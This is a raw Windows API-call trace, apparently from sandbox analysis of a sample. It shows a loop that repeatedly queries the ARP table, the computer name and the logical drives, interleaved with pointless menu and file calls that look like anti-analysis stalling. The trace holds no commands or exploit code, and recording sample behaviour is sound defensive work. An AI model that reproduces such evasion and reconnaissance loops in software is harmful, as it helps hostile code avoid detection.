	[0050.384] GetIpNetTable (in: IpNetTable=0x30e38b0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30e38b0, SizePointer=0xf3d4ac) returned 0x0
	[0050.385] AppendMenuW (hMenu=0x0, uFlags=0x80517e9c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.385] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.385] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.385] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.385] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.385] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.385] SetErrorMode (uMode=0x1) returned 0x1
	[0050.385] GetLogicalDrives () returned 0x4
	[0050.385] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.385] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30ea508
	[0050.385] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.385] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.385] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.386] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30e3c20
	[0050.386] GetIpNetTable (in: IpNetTable=0x30e3c20, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30e3c20, SizePointer=0xf3d4ac) returned 0x0
	[0050.386] AppendMenuW (hMenu=0x0, uFlags=0x80525928, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.386] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.386] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.386] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.386] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.386] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.387] SetErrorMode (uMode=0x1) returned 0x1
	[0050.387] GetLogicalDrives () returned 0x4
	[0050.387] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.387] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30e54b8
	[0050.387] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.387] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.387] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.387] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30e3dd8
	[0050.387] GetIpNetTable (in: IpNetTable=0x30e3dd8, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30e3dd8, SizePointer=0xf3d4ac) returned 0x0
	[0050.388] AppendMenuW (hMenu=0x0, uFlags=0x80535adc, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.388] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.388] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.388] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.388] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.388] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.388] SetErrorMode (uMode=0x1) returned 0x1
	[0050.388] GetLogicalDrives () returned 0x4
	[0050.388] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.388] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30e9d00
	[0050.388] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.388] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.388] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.388] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30f58c0
	[0050.388] GetIpNetTable (in: IpNetTable=0x30f58c0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30f58c0, SizePointer=0xf3d4ac) returned 0x0
	[0050.389] AppendMenuW (hMenu=0x0, uFlags=0x80543568, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.389] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.389] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.389] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.389] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.389] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.389] SetErrorMode (uMode=0x1) returned 0x1
	[0050.389] GetLogicalDrives () returned 0x4
	[0050.389] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.389] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30e84e8
	[0050.389] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.389] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.389] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.390] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30f4e70
	[0050.390] GetIpNetTable (in: IpNetTable=0x30f4e70, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30f4e70, SizePointer=0xf3d4ac) returned 0x0
	[0050.390] AppendMenuW (hMenu=0x0, uFlags=0x8055371c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.390] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.390] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.390] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.390] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.390] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.391] SetErrorMode (uMode=0x1) returned 0x1
	[0050.391] GetLogicalDrives () returned 0x4
	[0050.391] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.391] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30e4cb0
	[0050.391] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.391] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.391] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.391] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30f5028
	[0050.391] GetIpNetTable (in: IpNetTable=0x30f5028, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30f5028, SizePointer=0xf3d4ac) returned 0x0
	[0050.392] AppendMenuW (hMenu=0x0, uFlags=0x805611a8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.392] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.392] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.392] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.392] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.392] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.392] SetErrorMode (uMode=0x1) returned 0x1
	[0050.392] GetLogicalDrives () returned 0x4
	[0050.392] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.392] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30ead10
	[0050.392] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.392] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.392] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.392] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30f6310
	[0050.392] GetIpNetTable (in: IpNetTable=0x30f6310, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30f6310, SizePointer=0xf3d4ac) returned 0x0
	[0050.393] AppendMenuW (hMenu=0x0, uFlags=0x8057135c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.393] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.393] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.393] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.393] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.393] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.393] SetErrorMode (uMode=0x1) returned 0x1
	[0050.393] GetLogicalDrives () returned 0x4
	[0050.393] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.393] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30eb518
	[0050.393] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.393] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.393] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.393] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30f64c8
	[0050.393] GetIpNetTable (in: IpNetTable=0x30f64c8, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30f64c8, SizePointer=0xf3d4ac) returned 0x0
	[0050.394] AppendMenuW (hMenu=0x0, uFlags=0x8057ede8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.394] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.394] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.394] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.394] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.394] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.394] SetErrorMode (uMode=0x1) returned 0x1
	[0050.394] GetLogicalDrives () returned 0x4
	[0050.394] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.395] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30ed538
	[0050.395] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.395] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.395] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.395] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30f5708
	[0050.395] GetIpNetTable (in: IpNetTable=0x30f5708, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30f5708, SizePointer=0xf3d4ac) returned 0x0
	[0050.395] AppendMenuW (hMenu=0x0, uFlags=0x8058ef9c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.395] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.395] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.395] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.396] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.396] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.396] SetErrorMode (uMode=0x1) returned 0x1
	[0050.396] GetLogicalDrives () returned 0x4
	[0050.396] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.396] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30ebd20
	[0050.396] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.396] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.396] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.396] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30f51e0
	[0050.396] GetIpNetTable (in: IpNetTable=0x30f51e0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30f51e0, SizePointer=0xf3d4ac) returned 0x0
	[0050.397] AppendMenuW (hMenu=0x0, uFlags=0x8059ca28, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.397] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.397] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.397] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.397] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.397] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.397] SetErrorMode (uMode=0x1) returned 0x1
	[0050.397] GetLogicalDrives () returned 0x4
	[0050.397] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.397] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30ec528
	[0050.397] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.397] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.397] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.397] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30f6158
	[0050.397] GetIpNetTable (in: IpNetTable=0x30f6158, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30f6158, SizePointer=0xf3d4ac) returned 0x0
	[0050.398] AppendMenuW (hMenu=0x0, uFlags=0x8059cbdc, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.398] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.398] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.398] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.398] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.398] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.398] SetErrorMode (uMode=0x1) returned 0x1
	[0050.398] GetLogicalDrives () returned 0x4
	[0050.398] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.398] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30e5cc0
	[0050.398] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.398] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.399] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.399] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30f6838
	[0050.399] GetIpNetTable (in: IpNetTable=0x30f6838, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30f6838, SizePointer=0xf3d4ac) returned 0x0
	[0050.399] AppendMenuW (hMenu=0x0, uFlags=0x805aa668, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.418] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.418] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.418] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.418] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.418] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.418] SetErrorMode (uMode=0x1) returned 0x1
	[0050.418] GetLogicalDrives () returned 0x4
	[0050.419] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.419] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30ecd30
	[0050.419] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.419] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.419] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.419] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30f69f0
	[0050.419] GetIpNetTable (in: IpNetTable=0x30f69f0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30f69f0, SizePointer=0xf3d4ac) returned 0x0
	[0050.419] AppendMenuW (hMenu=0x0, uFlags=0x805ba81c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.420] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.420] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.420] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.420] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.420] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.420] SetErrorMode (uMode=0x1) returned 0x1
	[0050.420] GetLogicalDrives () returned 0x4
	[0050.420] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.420] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30e64c8
	[0050.420] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.420] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.420] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.420] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30f5a78
	[0050.420] GetIpNetTable (in: IpNetTable=0x30f5a78, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30f5a78, SizePointer=0xf3d4ac) returned 0x0
	[0050.421] AppendMenuW (hMenu=0x0, uFlags=0x805c82a8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.421] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.421] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
